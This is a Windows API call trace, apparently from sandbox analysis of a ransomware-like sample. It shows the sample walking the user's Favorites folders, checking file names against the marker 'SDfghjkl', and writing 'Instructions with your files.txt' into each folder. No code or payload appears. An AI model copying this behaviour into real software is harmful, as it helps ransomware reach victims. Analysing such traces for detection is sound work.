[0131.631] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.631] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned 51
[0131.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\.") returned 51
[0131.632] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.632] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\..") returned 52
[0131.632] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.632] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned 61
[0131.632] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.632] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned 69
[0131.632] StrStrIW (lpFirst="Suggested Sites.url", lpSrch="SDfghjkl") returned 0x0
[0131.632] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned 71
[0131.632] StrStrIW (lpFirst="Web Slice Gallery.url", lpSrch="SDfghjkl") returned 0x0
[0131.632] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0
[0131.632] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Instructions with your files.txt") returned 82
[0131.632] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.634] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.635] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.635] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.635] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.635] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.636] CloseHandle (hObject=0x110) returned 1
[0131.636] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.636] GetProcessHeap () returned 0x810000
[0131.636] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.636] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
[0131.636] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 62
[0131.636] GetProcessHeap () returned 0x810000
[0131.636] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.636] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned 64
[0131.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\.") returned 64
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\..") returned 65
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 81
[0131.638] StrStrIW (lpFirst="IE Add-on site.url", lpSrch="SDfghjkl") returned 0x0
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 91
[0131.638] StrStrIW (lpFirst="IE site on Microsoft.com.url", lpSrch="SDfghjkl") returned 0x0
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 84
[0131.638] StrStrIW (lpFirst="Microsoft At Home.url", lpSrch="SDfghjkl") returned 0x0
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 84
[0131.638] StrStrIW (lpFirst="Microsoft At Work.url", lpSrch="SDfghjkl") returned 0x0
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 82
[0131.638] StrStrIW (lpFirst="Microsoft Store.url", lpSrch="SDfghjkl") returned 0x0
[0131.638] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0
[0131.638] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Instructions with your files.txt") returned 95
[0131.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.639] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.639] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.639] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.640] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.640] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.640] CloseHandle (hObject=0x110) returned 1
[0131.640] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.640] GetProcessHeap () returned 0x810000
[0131.640] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.640] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
[0131.640] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 56
[0131.640] GetProcessHeap () returned 0x810000
[0131.640] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.640] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned 58
[0131.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\.") returned 58
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\..") returned 59
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned 70
[0131.642] StrStrIW (lpFirst="MSN Autos.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 78
[0131.642] StrStrIW (lpFirst="MSN Entertainment.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned 70
[0131.642] StrStrIW (lpFirst="MSN Money.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned 71
[0131.642] StrStrIW (lpFirst="MSN Sports.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned 64
[0131.642] StrStrIW (lpFirst="MSN.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned 71
[0131.642] StrStrIW (lpFirst="MSNBC News.url", lpSrch="SDfghjkl") returned 0x0
[0131.642] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0
[0131.642] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\Instructions with your files.txt") returned 89
